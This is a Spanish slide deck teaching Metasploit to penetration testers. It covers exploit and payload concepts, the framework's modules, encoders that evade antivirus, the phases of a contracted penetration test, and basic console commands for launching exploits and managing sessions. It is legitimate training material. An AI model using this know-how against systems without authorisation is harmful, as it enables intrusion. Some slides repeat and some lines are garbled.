Guía Completa de Metasploit para Pentesters
Guía Completa de Metasploit para Pentesters
Framework
Marco A. Lozano
Introducción Metasploit
1.- Conceptos/definiciones
2.- Qué es Metasploit y versiones disponibles
3.- El test de intrusión y sus fases
4.- Comandos básicos de Metasploit
De ayuda y de búsqueda
De interacción y configuración
De bases de datos
Audit. Sistemas – Metasploit
4.- Recogida de información
5.- Escaneo de vulnerabilidades
Nessus, MBSA e importación de datos
Técnica Autopawn
6.- Escáneos dirigidos a servicios
7.- El arte de la intrusión
Ámbito y Payloads
La primera intrusión
Audit. Sistemas – Metasploit
8.- Intrusión sin interacción
9.- Intrusión con interacción
10.- Automatizando las órdenes
11.- Servidores Rogue
12.- Actualización y customización
13.- Meterpreter y postexplotación
Comandos básicos
Scripts
Módulos
Pass the Hash
Pivoting
Persistencia
Audit. Sistemas – Metasploit
1.- Conceptos/definiciones
• Software fiable vs Software seguro: el software fiable es aquel que
hace lo que se supone que debe hacer. El software seguro es aquel
que hace lo que se supone que debe hacer y nada más.
• Bug: un bug es el resultado de un fallo de programación durante el
proceso de creación o desarrollo de las aplicaciones. Este fallo puede
haberse introducido en cualquiera de las etapas del ciclo de vida de
una aplicación, aunque, por lo general ocurre en la etapa de
implementación.
Audit. Sistemas – Metasploit
1.- Conceptos/definiciones
• Software fiable vs Software seguro: el software fiable es aquel que
hace lo que se supone que debe hacer. El software seguro es aquel
que hace lo que se supone que debe hacer y nada más.
• Bug: un bug es el resultado de un fallo de programación durante el
proceso de creación o desarrollo de las aplicaciones. Este fallo puede
haberse introducido en cualquiera de las etapas del ciclo de vida de
una aplicación, aunque, por lo general ocurre en la etapa de
implementación.
Audit. Sistemas – Metasploit
1.- Conceptos/definiciones
• Exploit: un exploit es un código escrito con el fin de aprovechar un
error de programación y la intención de obtener diversos privilegios.
Un buen número de exploits tienen su origen en un conjunto de fallos
de programación similares. Por lo general el lenguaje estrella para
desarrollo un exploit es el lenguaje C. También se pueden realizar
exploits en otros lenguajes como Ruby, Java o Python
Audit. Sistemas – Metasploit
1.- Conceptos/definiciones
• Payload: es la parte del código de un exploit que tiene como
objetivo ejecutarse en la máquina víctima para realizar la acción
maliciosa. La manera óptima para entender el significado de payload
es mediante el uso de ejemplos. Un payload puede ser el código que
se inyecta en una máquina a través de un exploit, y el cual permite
al atacante ejecutar código en la máquina remota. Ese código puede
ser el que implemente una shell inversa, es decir, la máquina víctima
lanzará una conexión hacia la máquina del atacante devolviéndole
una línea de comandos para que pueda interactuar con la máquina
vulnerada.
Audit. Sistemas – Metasploit
1.- Conceptos/definiciones
• Shellcode: es un conjunto de instrucciones usadas como un payload
cuando se produce el proceso de explotación del sistema. La
shellcode son órdenes, generalmente, escritas en lenguaje
ensamblador. Para generar este tipo de código, normalmente, se
utiliza un lenguaje de mayor nivel como puede ser C. Después, este
código al ser compilado, genera el código de máquina resultante, el
cual es denominado opcode.
• Las shellcodes deben ser de tamaño pequeño para poder ser
inyectadas dentro de la pila de la aplicación, que es generalmente
un espacio reducido
Audit. Sistemas – Metasploit
1.- Conceptos/definiciones
Audit. Sistemas – Metasploit
1.- Conceptos/definiciones
• O-day exploit: un O-day exploit es una de las características más
peligrosas en el ámbito de la seguridad informática. Un exploit de
día cero, o O-day exploit, es un código malicioso que permitirá a un
atacante obtener el control remoto de un sistema. Como
particularidad hay que recalcar que la vulnerabilidad de la que se
aprovecha este exploit es desconocida por los usuarios y el
fabricante del producto.
Audit. Sistemas – Metasploit
1.- Conceptos/definiciones
• Buffer Overflow: esta vulnerabilidad, bastante común y con mucha
historia en la informática, ocurre cuando una aplicación no
comprueba correctamente el número de bytes que son
almacenados en una dirección de memoria, o buffer, previamente
reservada. De este modo, la cantidad de bytes que se van a
almacenar son superiores a la cantidad reservada para tal fin.
Audit. Sistemas – Metasploit
2.- Qué es Metasploit y versiones disponibles
• Es una de las aplicaciones más utilizadas por los pentesters.
Originalmente fue desarrollado en el lenguaje de programación Perl,
para que con el paso del tiempo fuera escrito de nuevo bajo el
lenguaje Ruby. Este framework es un conjunto de herramientas con
las que el auditor puede desarrollar y ejecutar exploits y lanzarlos
contra máquinas para comprobar la seguridad de éstas. Otras de las
funcionalidades que aporta es un archivo de shellcodes,
herramientas para recolectar información y escanear en busca de
vulnerabilidades.
Audit. Sistemas – Metasploit
2.- Qué es Metasploit y versiones disponibles
• Metasploit dispone de módulos los cuales ayudan a aumentar de
manera sencilla las funcionalidades del framework. Un módulo es
una pieza o bloque de código que implementa una o varias
funcionalidades, como puede ser la ejecución de un exploit concreto
o la realización de un escaneo sobre máquinas remotas.
• Esta funcionalidad le da gran versatilidad a la herramienta
Audit. Sistemas – Metasploit
2.- Qué es Metasploit y versiones disponibles
• Metasploit dispone de varias interfaces con las que interactuar con
el framework. El usuario puede interactuar mediante una interfaz
gráfica, línea de comandos o consola. También se dispone de la
posibilidad de acceder directamente a las funciones y módulos que
componen el framework. Esta acción puede resultar muy útil para
utilizar ciertos exploits sin necesidad de lanzar todo el entorno.
Audit. Sistemas – Metasploit
2.- Qué es Metasploit y versiones disponibles
• Msfconsole. Es el todo en uno del framework, el auditor dispone de
una consola desde la cual puede acceder a todas las opciones
disponibles de Metasploit. La consola dispone de un gran número de
comandos, los cuales disponen de una sintaxis sencilla y fácil de
recordar. Esta interfaz se lanza ejecutando el comando msfconsole
en una terminal, si se encuentra en Linux.
Audit. Sistemas – Metasploit
2.- Qué es Metasploit y versiones disponibles
Audit. Sistemas – Metasploit
2.- Qué es Metasploit y versiones disponibles
• Armitage (descontinuado): esta interfaz proporciona un entorno
gráfico e intuitivo al auditor para llevar a cabo el test de intrusión y
entender el hacking de manera sencilla. Esta interfaz se lanza
ejecutando el comando armitage en una terminal.
Audit. Sistemas – Metasploit
2.- Qué es Metasploit y versiones disponibles
• Armitage: esta interfaz proporciona un entorno gráfico e intuitivo al
auditor para llevar a cabo el test de intrusión y entender el hacking
de manera sencilla. Esta interfaz se lanza ejecutando el comando
armitage en una terminal.
Audit. Sistemas – Metasploit
2.- Qué es Metasploit y versiones disponibles
• Web VI de Metasploit (PAGO): con esta interfaz se puede gestionar
el test de intrusión de manera remota, sin necesidad de disponer del
framework en local, pudiendo realizar casi todas las opciones que
pueden realizarse desde la consola.
Audit. Sistemas – Metasploit
2.- Qué es Metasploit y versiones disponibles
• Msfcli: esta interfaz no permite la interacción directa, está pensada
para automatizar la explotación de los sistemas.
Audit. Sistemas – Metasploit
2.- Qué es Metasploit y versiones disponibles
• Dispone de ciertas herramientas que dan acceso directo al auditor
para trabajar con funcionalidades específicas del framework. Estas
herramientas pueden ser utilizadas en situaciones específicas por
parte del usuario, sin necesidad de lanzar la consola y cargar el
entorno al completo. Las vamos a conocer aunque se explicarán con
mayor detalle más adelante.
Audit. Sistemas – Metasploit
2.- Qué es Metasploit y versiones disponibles
• Msfpayload: es una herramienta orientada a todo lo relacionado
con el ámbito de las shellcodes. Msfpayload es capaz de generar
shellcodes para distintos lenguajes de programación, ejecutables
que inyecten el código malicioso en la máquina víctima tras su
ejecución, listar las shellcodes disponibles en Metasploit, son sus
principales funcionalidades. Normalmente, se utiliza para generar el
código que se u�lizará con un exploit.
• Msfencode: esta herramienta se encarga de dificultar a los sistemas
de intrusión, IDS, e infección, antivirus, la detección del payload.
Audit. Sistemas – Metasploit
2.- Qué es Metasploit y versiones disponibles
• Msfvenom: esta herramienta unifica las aplicaciones msfencode y
msfPayload. Su principal ventaja es disponer de ambos comandosen
una sola instancia y un incremento de velocidad en la generación de
las acciones.
• Msfpescan y msfelfscan: la herramienta msfPescan permite
escanear ficheros ejecutables o DLLs de Windows para encontrar
instrucciones de código máquina sobre una imagen basada en
memoria. Por otro lado la herramienta msfelfscan permite realizar
las mismas tareas pero sobre las aplicaciones ELF en sistemas
operativos Linux.
Audit. Sistemas – Metasploit
2.- Qué es Metasploit y versiones disponibles
• Msfrop: hoy en día los desarrolladores de exploits se encuentran
con DEP(Data Execution Prevention), habilitado por defecto en los
sistemas operativos. DEP previene la ejecución del shellcode en la
zona de memoria denominada como pila. En este punto los
desarrolladores se vieron obligados a buscar como “bypasear” esta
mi�gación, desarrollando la llamada ROP(Return-oriented
programming).
• Msfd: esta herramienta proporciona un demonio o servicio de
Metasploit el cual genera un listener en un puerto.
Audit. Sistemas – Metasploit
2.- Qué es Metasploit y versiones disponibles
• Arquitectura Metasploit:
Audit. Sistemas – Metasploit
2.- Qué es Metasploit y versiones disponibles
• Arquitectura Metasploit: librerías
• La librería rex es la básica y se encarga de la mayoría de las tareas,
manejando soekets, protocolos, por ejemplo, SSL, SMB, HTTP, y otras
operaciones interesantes como son las codificaciones, por ejemplo, XOR,
Base64 o Unicode.
• Las librerías msfcore y msfbase proporcionan APIs al framework. Las
interfaces, módulos y plugins interactúan con la API base y core que se
encuentra en ambas librerías. Las librerías son el núcleo del framework y que
todos los elementos de alrededor dependen de éstas. Ruby es el lenguaje
encargado de implementar el núcleo de Metasploit.
Audit. Sistemas – Metasploit
2.- Qué es Metasploit y versiones disponibles
• Arquitectura Metasploit: módulos
• El módulo auxiliary proporciona herramientas externas
alframework para la integración y u�lización con Metasploit.
• El módulo encoders proporciona codificadores para ofuscar el
código de las shelleodes y de este modo evitar que los sistemas
antivirus puedan detectar el payload.
• El módulo exploits es, quizá, el más vistoso de todos, en él se
encuentran los exploits alojados. Se organizan mediante categorías,
por sistema operativo o tecnología..
Audit. Sistemas – Metasploit
2.- Qué es Metasploit y versiones disponibles
• Arquitectura Metasploit: módulos
• El módulo de payloads concentra los distintos códigos maliciosos
ordenados también por categorías.
• El módulo de post almacena en su interior código para ejecutar acciones
referidas a la fase de post- explotación como son la escalada de
privilegios, la impersonalización de tokens, captura de pruebas sobre la
máquina remota, etc. También se organiza por categorías, como puede ser
por sistema operativo.
• El módulo de nops contiene código capaz de generar instrucciones NOP
para los códigos maliciosos. No existen gran cantidad de aplicaciones de
este tipo en el módulo de nops. Están organizados por arquitectura y lo
más normal es utilizarlo para máquinas x86 o x64.
Audit. Sistemas – Metasploit
2.- Qué es Metasploit y versiones disponibles
• Metasploit dispone de 3 versiones distintas. Las 3 versiones están
disponibles a través del sitio web oficial http://www.metasploit. com
y disponen de distintas características y precios.
• Anteriormente, se ha indicado que el proyecto es open source y
como tal, se dispone de una primera versión denominada
Metasploit Community Edition. Esta edición está disponible para su
descarga gratuita para sistemas operativos Microsoft Windows y
Linux. Normalmente, los usuarios utilizan distribuciones Linux dónde
ya se encuentra instalada, dichas distribuciones están orientadas a la
auditoría de seguridad informática (kali).
Audit. Sistemas – Metasploit
2.- Qué es Metasploit y versiones disponibles
• Metasploit Community Edition
• Esta edición, gratuita, se dispone de las siguientes características:
• Una interfaz gráfica intuitiva y limpia hace que sea mucho más sencillo iniciarse con la tool.
• Iden�ficación de equipos en una red, puertos abiertos y fingerprint.
• Integración con escáneres de vulnerabilidades. Importación a Metasploit de los datos
obtenidos con las herramientas de escaneo como son nmap y nessus, entre otros.
• Base de datos de exploits, una de las más grandes a nivel mundial, para garantizar el éxito en
el proceso de intrusión.
• Verificación sobre la posible explotación de una vulnerabilidad. Metasploit puede verificar
si una vulnerabilidad es explotable o no, sin necesidad de probar a lanzar el ataque. E
• Explotación en vivo y real de los activos de la empresa. En la mayoría de las ocasiones
demostrar que una vulnerabilidad es crítica para la empresa puede ayudar a convencer a los
propietarios de dichos activos.
Audit. Sistemas – Metasploit
2.- Qué es Metasploit y versiones disponibles
• Metasploit PRO
• Esta edición, además de las anteriores, dispone de las siguientes características:
• Auditoría de contraseñas. Se pueden identificar patrones de contraseñas débiles.
• Auditoría de seguridad de la infraestructura IT. Se pueden realizar pruebas de intrusión
sobre dispositivos de red, equipos de escritorio, servidores dónde se incluyen las bases de
datos de éstos y las aplicaciones web.
• Social engineering. La ingeniería social es una técnica potente siempre que el auditor sepa
como explotarla, con ella se pone a prueba la concienciación del personal de la empresa.
• Reporting. Informar a las partes interesadas, propietarios de los activos de la empresa en
cues�ón, es algo fundamental y una de las características más interesantes.
• Automa�zación de los test de intrusión. Las empresas, a menudo, sólo pueden aceptar la
comprobación in situ de los equipos, por temas económicos. Metasploit Pro reduce
drásticamente los costes automatizando estas pruebas.
• Simulación de ataques. Una característica interesante es la simulación de ataques, desde un
punto de vista realista, tanto en redes IPv4 como IPv6
Audit. Sistemas – Metasploit
2.- Qué es Metasploit y versiones disponibles
• Metasploit EXPRESS
• Esta edición está pensada para los profesionales TI que necesitan
trabajar con test de intrusión, sin disponer de una amplia formación
o el desarrollo requerido por Metasploit Framework.
• Esta versión está pensada para no requerir de ciertas características
avanzadas que se pueden encontrar en Metasploit Pro. Las
características base siguen siendo las mismas que en Community
Edition. También dispone de algunas de las características que se han
comentado en Metasploit Pro.
Audit. Sistemas – Metasploit
3.- El test de intrusión y sus fases (repaso)
• Como hemos visto, un test de intrusión es un método que evalúa el nivel
de seguridad de una red de equipos o sistemas informáticos.
• El test de intrusión conlleva un análisis activo sobre los sistemas para
encontrar información sobre posibles vulnerabilidades de cualquier tipo.
Estas vulnerabilidades podrían ser el resultado de una mala configuración
por parte del administrador, una mala implementación de una aplicación o
un fallo de seguridad en un sistema operativo o hardware.
• Tras el lanzamiento de las pruebas de intrusión y la obtención de los
fallos de seguridad de la organización se presenta esta información con
una evaluación precisa de los impactos potenciales a la organización.
Audit. Sistemas – Metasploit
3.- El test de intrusión y sus fases (repaso)
• Los test de intrusión son valiosos y de necesidad en un entorno
empresarial por las siguientes razones:
• Identificar vulnerabilidades críticas o hígh rísk las cuales son el resultado de
la u�lización de vulnerabilidades de menor riesgo o lower-rísk.
• Identificar vulnerabilidades que pueden resultar di�ciles o prácticamente
imposibles de detectar con escáneres de vulnerabilidades, los cuales
automatizan el proceso.
• Testear los sistemas de protección de una red para verificar su
comportamiento ante los ataques y como responden a éstos.
Audit. Sistemas – Metasploit
3.- El test de intrusión y sus fases (repaso)
• Durante el test de intrusión se pueden destacar unas fases
diferenciadas, con objetivos particulares distintos y un objetivo
común. Éste es claramente realizar el testeo de la organización.
• Las fases del test de intrusión son las siguientes:
1.- Alcance y términos del test de intrusión.
2.- Recolección de información.
3.- Análisis de las vulnerabilidades.
4.- Explotación de las vulnerabilidades.
5.- Post-explotación del sistema.
6.- Generación de informes.
Audit. Sistemas – Metasploit
3.- El test de intrusión y sus fases (repaso)
1.- El contrato: alcance y términos del test de intrusión: es el punto de partida en
todo test de intrusión, la fase de la entrevista, de las palabras. Se debe llegar a un
acuerdo sobre hasta dónde se quiere llegar con el test de intrusión, cual es el
ámbito de la prueba. En otras palabras, se discute cual es el alcance y los objetivos
buscados por el cliente, y deben ser bien recogidos por un contrato firmado por
ambos.
• Esta etapa es una oportunidad de ir haciendo ver al cliente lo que es realmente
el test de intrusión y toda la información privada de la empresa que puede
llegar a manejarse. Se puede ver también como una etapa educativa hacia el
cliente.
• Puede ocurrir que el cliente quiera delimitar el ámbito de la prueba, por lo que
se incorporen ciertas restricciones al test. Estas restricciones, siempre y cuando
vayan por contrato, deben ser tomadas muy en cuenta por parte del auditor.
Audit. Sistemas – Metasploit
3.- El test de intrusión y sus fases (repaso)
2.- Recolección de información: en esta fase se recolectará toda la
información posible sobre la organización a auditar. Esta información
puede ser obtenida por diversos medios, ingeniería social, medios de
comunicación, publicaciones en Internet, google hacking,jootprint, etc.
Una de las capacidades más importantes en un auditor es la posibilidad de
aprender como se comporta el obje�vo, como funciona, como está
construido y por último como poder atacarlo.
• Durante esta recolección de información es importante iden�ficar qué
mecanismos de protección o seguridad existen en el lugar, para poder
empezar a probar los sistemas. Identificar estas protecciones es de vital
importancia para poder estudiar cómo funcionan estos sistemas de
seguridad.
Audit. Sistemas – Metasploit
3.- El test de intrusión y sus fases (repaso)
3.- Análisis de vulnerabilidades: una vez que se ha realizado la recolección
de información se estará en disposición de gran cantidad de la misma y se
procederá a su análisis. En esta información recopilada se pueden encontrar
vulnerabilidades existentes en un sistema. Hay que realizar un modelado
con toda la información recopilada en la que se deterninará el método de
ataque más eficaz.
• Una vez que se han identificado los posibles vectores o métodos de
ataque con mayor viabilidad, habrá que reflexionar sobre como acceder
al sistema. Por acceder se entiende que el posible ataque que lance el
auditor disponga de una vía de conexión hacia al sistema a explotar.
Audit. Sistemas – Metasploit
3.- El test de intrusión y sus fases (repaso)
4.- Explotación de las vulnerabilidades
• Esta fase es la más esperada por lo auditores/pentesters, la hora de
lanzar los exploits. Un exploit debe ser lanzado si se dispone de la certeza
de que obtendremos un resultado positivo en la prueba.
• Lanzar los exploits a ciegas no es la mejor opción, ya que se genera ruido
sobre la organización, no es una acción productiva y además se pierde el
control sobre lo que se está haciendo.
• Por el contrario, se puede automatizar el proceso de lanzamiento de
exploits sobre las certezas que se dispongan, es decir, sabiendo que un
sistema dispone de varias vulnerabilidades se puede automatizar el
proceso para explotar todas éstas.
Audit. Sistemas – Metasploit
3.- El test de intrusión y sus fases (repaso)
5. Post-explotación del sistema
• Esta fase es otra de las más interesantes y que mayor cantidad de excitación
puede provocar en el auditor. En esta fase ya se dispone de acceso a algún
sistema, pero se puede intentar acceder a otros que tengan un mayor peso en
la organización.
• Por ejemplo, suponga que el auditor dispone de acceso a una máquina, la cual
tiene acceso directo a un controlador de dominio, el cual tras estudiarlo a
través de la máquina vulnerada en primer lugar, se recoge que también es
vulnerable. Este controlador de dominio puede ser explotado por el auditor, a
través de la primera máquina.
• En esta fase se puede obtener información sensible, muy interesante para el
informe final. Por ejemplo, cuentas de usuarios, las cuales pueden proporcionar
al auditor acceso a otras máquinas de la organización.
Audit. Sistemas – Metasploit
3.- El test de intrusión y sus fases (repaso)
• 6. Geneeración de informes
• Esta fase refleja la importancia de comunicar todo el proceso que se ha ido realizando en la
organización. Es importante que el auditor vaya documentando todas las acciones y
procedimientos llevados a cabo durante el test de intrusión. Cada fase debe estar documentada
en mayor o menor medida, y es una buena práctica no dejar para el final todo este proceso.
• En estos documentos se debe explicar qué trabajo se ha realizado en la organización, cómo se
ha hecho dicho trabajo, es decir, herramientas y técnicas utilizadas, y lo más importante, que
vulnerabilidades han sido descubiertas durante el testeo de la organización. Debe incluir una
lista que indique cómo subsanar esos riesgos y unas recomendaciones del auditor.
• Se ha de elaborar un informe ejecutivo que es un documento más ameno y liviano en el que se
deben especificar las vulnerabilidades encontradas, pero sin ningún nivel técnico. Todo debe
estar explicado de tal manera que cualquier persona sin capacidades técnicas entienda que
riesgos existen en la organización.
Audit. Sistemas – Metasploit
4.- Comandos básicos de Metasploit
• La interacción con el framework puede llevarse a cabo mediante el
uso de distintas interfaces. En la mayoría de las ocasiones se utiliza
la consola de Metasploit para realizar las pruebas y gestionar todas
las herramientas disponibles en el framework.
• En un primer momento, la consola puede provocar cierto rechazo o
temor al usuario, ya que por lo general la mayoría de usuarios
prefieren el uso de una interfaz amigable e intuitiva. La consola de
Metasploit es bastante intuitiva y sencilla de utilizar, integrando
comandos con semántica implícita los cuales ayudarán al usuario a
configurar y moverse por el entorno de manera sencilla.
Audit. Sistemas – Metasploit
4.- Comandos básicos de Metasploit
• Para lanzar la consola de Metasploit se ejecutará en una terminal el
comando #msfconsole, el cual devolverá al usuario un prompt para la
introducción de comandos, un banner e información sobre el número de
exploits, payloads, encoders, auxiliary y nops.
• Antes de empezar a enumerar comandos y sus objetivos, se debe tener
claro como se estructura, y accede a los elementos disponibles del
framework. Se puede imaginar la consola de Metasploit como un mini
sistema de archivos (MS-DOS o consola Linux), el cual dispone de una raíz
y carpetas que cuelgan de él. Por ejemplo, si se requiere utilizar un
exploit, éstos se encontrarán en alguna ruta, como puede ser
exploit/windows/smb/psexec
Audit. Sistemas – Metasploit
4.- Comandos básicos de Metasploit
Audit. Sistemas – Metasploit
4.- Comandos básicos de Metasploit
• Otro elemento clave que se debe conocer antes de explicar los
comandos son las variables que se deben configurar en el interior de
un exploit u otros módulos con los que se trabaje.
• Cuando se quiere configurar un explod, o un encoder, payload,
etcétera, se disponen de unas variables que deben ser configuradas
con información aportada por el auditor. Por ejemplo, si se está
configurando un exploit que se va a lanzar contra un equipo, existen
ciertos parámetros como son la dirección IP o nombre de la máquina
sobre la que se lanzará el exploit, puerto de destino, configuración del
payload, etc.
Audit. Sistemas – Metasploit
4.- Comandos básicos de Metasploit – De ayuda y búsqueda
• Comando: help
• Proporciona un listado sobre todos los comandos de consola
disponibles. Se pueden observar 2 listas diferenciadas, core
commands y database backend commands. La primera proporciona
un listado sobre los comandos del núcleo del framework, y la
segunda ofrece otro sobre los comandos que interactúan con las
bases de datos.
• Existe la posibilidad de usar el parámetro help delante de los
comandos para obtener una ayuda detallada sobre la u�lización de
dicho comando. Por ejemplo, “help search”.
Audit. Sistemas – Metasploit
4.- Comandos básicos de Metasploit – De ayuda y búsqueda
• Comando: search
• El comando search resulta de gran utilidad para el auditor para la
búsqueda de módulos en función de alguna característica concreta.
También se puede utilizar cuando el auditor tiene que comprobar si
el framework se encuentra actualizado, por ejemplo mediante la
búsqueda de algún exploit que se aproveche de alguna
vulnerabilidad conocida recientemente aunque es posible que no
esté incluida aunque sea pública.
Audit. Sistemas – Metasploit
4.- Comandos básicos de Metasploit – De ayuda y búsqueda
• Comando: search
• Si abrimos una consola de metasploit, por defecto, se realizará una
búsqueda lenta si no hemos iniciado la instalación de prerequisitos
de metasploit. Para “corregirlo” ello ir al menú de
Kali>>Aplicaciones>>Herramientas de explotación>>Metasploit.
Esto iniciará la “puesta en marcha”.
• Para que todo se ejecute al inicio, introducir los siguientes comandos:
#update-rc.d postgresql enable
#update-rc.d metasploit enable
Audit. Sistemas – Metasploit
4.- Comandos básicos de Metasploit – De ayuda y búsqueda
• Comando: search
• Tras realizar una búsqueda de un módulo con ciertas características
con el comando “search pexec” se obtienen las rutas donde se
alojan y dónde se puede acceder al recurso. En este ejemplo, se
puede visualizar como se obtienen exploits, pero si existiesen
herramientas, payloads, encoders que cumpliesen con el patrón de
búsqueda también se obtendrían sus rutas para que el auditor
pudiera acceder a ellas de manera sencilla.
Audit. Sistemas – Metasploit - Práctica
4.- Comandos básicos de Metasploit – De ayuda y búsqueda
• Comando: search
• Consulta la ayuda del comando. Tras ver las opciones, realiza las
siguientes búsquedas:
• Exploits con CVEs del 2015 que afecten a Windows
• Exploits que afecten a Outlook
• Módulos de tipo auxiliary que afecten a linux del 2014
Audit. Sistemas – Metasploit
4.- Comandos básicos de Metasploit – De ayuda y búsqueda
• Comando: info y show
• El comando info aporta gran cantidad de información sobre el
módulo seleccionado previamente en la consola mediante el
comando use (lo veremos posteriormente), o ejecutando el comando
info seguido de la ruta donde se encuentra el módulo concreto del
que se requiere obtener información. Los datos que devuelve el info
son todas las opciones del módulo, objetivos y una descripción. Por
ejemplo, en el caso de la mayoría de exploits se describe la
vulnerabilidad y las versiones vulnerables. Ejemplo:
• msf> info exploit/windows/misc/manageengine_eventlog_analyzer_rce
Audit. Sistemas – Metasploit
4.- Comandos básicos de Metasploit – De ayuda y búsqueda
• Comando: info y show
• El comando show permite mostrar las diferentes opciones para los
módulos del framework y todos los exploits, payloads, encoders,
nops, herramientas, etc. Cuando se encuentra seleccionado un
módulo, mediante el comando use, show dispone de algunas
acciones más como es la muestra de las variables configurables en el
módulo, show options, o los sistemas operativos vulnerables, show
targets, entre otros.
•�
�����������������������������ﭯ
•�
�����
Audit. Sistemas – Metasploit - práctica
4.- Comandos básicos de Metasploit – De ayuda y búsqueda
• Comando: info y show
• Busca algunos exploits y visualiza su descripción con el comando
“info”
• Posteriormente “carga” alguno de ellos con el comando “use <ruta
exploit>” y analiza sus opciones con el comando “show options”
Audit. Sistemas – Metasploit
4.- Comandos básicos de Metasploit – De interacción y configuración
• La mayoría de los comandos que se disponen en msfconsole son de
interacción y configuración. Estos comandos van desde la simple
navegación por la herramienta, hasta la ejecución de un exploit con
su previa configuración.
Audit. Sistemas – Metasploit
4.- Comandos básicos de Metasploit – De interacción y configuración
• Comando: use
• El comando use permite seleccionar el módulo, a lo largo de la
estructura de directorios del framework, que se requiere. Una vez se
ha encontrado una vulnerabilidad en un sistema, se puede realizar la
búsqueda del exploit mediante el comando search o si se conoce la
ruta dónde se aloja el módulo, directamente cargarlo. Un ejemplo:
•
������������������������������ﭯ
Audit. Sistemas – Metasploit
4.- Comandos básicos de Metasploit – De interacción y configuración
• Comandos: back, set, setg, unset y unsetg
• Existen comandos para la configuración de valores en los módulos
que el auditor necesita personalizar para el test de intrusión.
Además, se ha visto como el comando use permite acceder a
módulos concretos, pero si el auditor requiere volver atrás, ¿de qué
comando dispone? El comando back permite al auditor salir del
módulo y colocarse de nuevo en la raíz de la consola.
Audit. Sistemas – Metasploit
4.- Comandos básicos de Metasploit – De interacción y configuración
• Comandos: back, set, setg, unset y unsetg
• Los comandos set y setg aportan una funcionalidad imprescindible
para el test de intrusión y es la posibilidad de configurar los
parámetros de los distintos módulos. Es decir, con estos parámetros
se asignarán valores a las variables que por ejemplo definen un
expIoit, ¿Cuál es la diferencia? Set asigna un valor para un módulo
concreto, mientras que setg asigna el valor para el Contexto del
framework. Un símil en programación clásica sería, set asigna un
valor a una variable íocal , mientras que setg asigna un valor a una
variable global.
Audit. Sistemas – Metasploit
4.- Comandos básicos de Metasploit – De interacción y configuración
• Comandos: back, set, setg, unset y unsetg
• Hay que tener en cuenta que si se dispone de un módulo en modo
background, es decir cargado e incluso en explotación o realizando
alguna tarea pero en segundo plano, y éste ya disponía de una
configuración, la asignación global de un valor no repercutirá sobre
este elemento.
• Los comandos unset y unsetg sirven para desasignar el valor de un
parámetro o variable de un módulo. Unset desasignará a nivel local,
mientras que unsetg desasignará a nivel global.
Audit. Sistemas – Metasploit
4.- Comandos básicos de Metasploit – De interacción y configuración
• Comandos: connect e irb
• El comando connect permite conectar desde la consola de
Metasploit con otras máquinas para su ges�ón o administración.
Simplemente, se debe indicar la dirección y el puerto al que se quiere
conectar.
• Este comando es muy similar a la aplicación netcat o telnet. Connect
dispone de parámetros interesantes como es la posibilidad de crear
una conexión segura bajo SSL. Se recomienda utilizar este y todos los
comandos siempre con el comando help en mente. Ejemplo:
•
�������������������������
Audit. Sistemas – Metasploit
4.- Comandos básicos de Metasploit – De interacción y configuración
• Comandos: connect e irb
• El comando irb permite al auditor ejecutar un intérprete de Ruby
para el framework y de esta manera se pueden ejecutar comandos y
crear scripts que automaticen ciertos procesos, todo ello en caliente.
Esta funcionalidad es interesante para conocer la estructura interna
del framework. Se recomienda conocer el lenguaje Ruby para utilizar
correctamente este intérprete. (AVANZADO)
Audit. Sistemas – Metasploit
4.- Comandos básicos de Metasploit – De interacción y configuración
• Comandos: load, unload y loadpath
• Metasploit en su estructura interna dispone de una carpeta dónde
aloja los plugins. El comando load permite especificar qué plugin se
quiere cargar. Por otro lado, si se quiere quitar un plugin del
entorno se u�lizará el comando unload.
• También se dispone de un comando, loadpath, al cual se le
especifica un directorio dónde se pueden encontrar almacenados
módulos, plugins o exploits externos al framework, y disponer de O-
day, exploits, payloads, en un directorio de trabajo independiente.
Audit. Sistemas – Metasploit
4.- Comandos básicos de Metasploit – De interacción y configuración
• Comandos: check, exploit y sessions
• Cuando el auditor se encuentra en la fase de explotación, es decir,
ya ha encontrado la o las vulnerabilidades por dónde atacar al
sistema, el comando check aporta la posibilidad de verificar si el
sistema es vulnerable o no, antes de lanzar el script.
• El comando exploit lanza, una vez configurado el módulo
seleccionado, el código malicioso sobre una máquina o prepara el
entorno para que una máquina sea vulnerada al acceder a un sitio en
la red.
Audit. Sistemas – Metasploit
4.- Comandos básicos de Metasploit – De interacción y configuración
• Comandos: check, exploit y sessions
• El comando exploit dispone de varios parámetros interesantes:
• -j: el exploit es ejecutado en segundo plano
• -z: no se interactúa con la sesión tras una explotación exitosa
• -e: se lanza el payload con la codificación mediante un encoder
• Por lo general, el comando exploit devolverá el control del sistema
remoto mediante una shell o un meterpreter (ya veremos lo que es).
Audit. Sistemas – Metasploit
4.- Comandos básicos de Metasploit – De interacción y configuración
• Comandos: check, exploit y sessions
• Las shell que se obtienen se organizan por conexiones y éstas son
visualizadas por el comando sessions. Este comando permite listar el
número de conexiones con máquinas vulneradas que se disponen,
que vía ha sido la que ha conseguido vulnerar la máquina,
información sobre los puertos y direcciones IP, el tipo de payload,
etc. Es importante entender que las sesiones tienen un identificador
único y que se debe especificar dicho identificador cuando se quiere
interactuar con una sesión remota.
Audit. Sistemas – Metasploit
4.- Comandos básicos de Metasploit – De interacción y configuración
• Comandos: check, exploit y sessions
• Sessions dispone de diversos parámetros:
• -l (ele): Lista las sesiones disponibles
-v: Muestra información extra, es interesante utilizarlo junto al parámetro -l
• -s: Ejecuta un script de Metasploit sobre todas las sesiones de Meterpreter
disponibles. Su uso sería sessions - s <script>
• -K Finaliza todas las sesiones abiertas
• -c: Ejecuta un comando sobre todas las sesiones de Meterpreter abiertas. Su uso
sería sessions -c ''ping 8.8.8.8"
• -u: Uno de los más interesantes, permite actualizar la shell remota de tipo Win32 a
un Meterpreter. Se debe especificar el ID de la sesión
• -i: Con este parámetro se le indica al comando sessions en que sesión se qUiere
interactuar. Un ejemplo es sessions - i 1
Audit. Sistemas – Metasploit
4.- Comandos básicos de Metasploit – De interacción y configuración
• Comandos: check, exploit y sessions
Audit. Sistemas – Metasploit
4.- Comandos básicos de Metasploit – De interacción y configuración
• Comandos: resource y makerc
• El comando resource permite la carga de un fichero, generalmente
especificado con la extensión rc, la cual no es necesaria, con acciones
específicas sobre el framework. Este comando es muy utilizado para
automatizar tareas que se deben realizar con Metasploit y las cuales se
conocen de antemano o se han realizado previamente.
• El comando makerc almacena en un fichero el historial de comandos y
acciones que se han realizado en la sesión en curso con el framework..
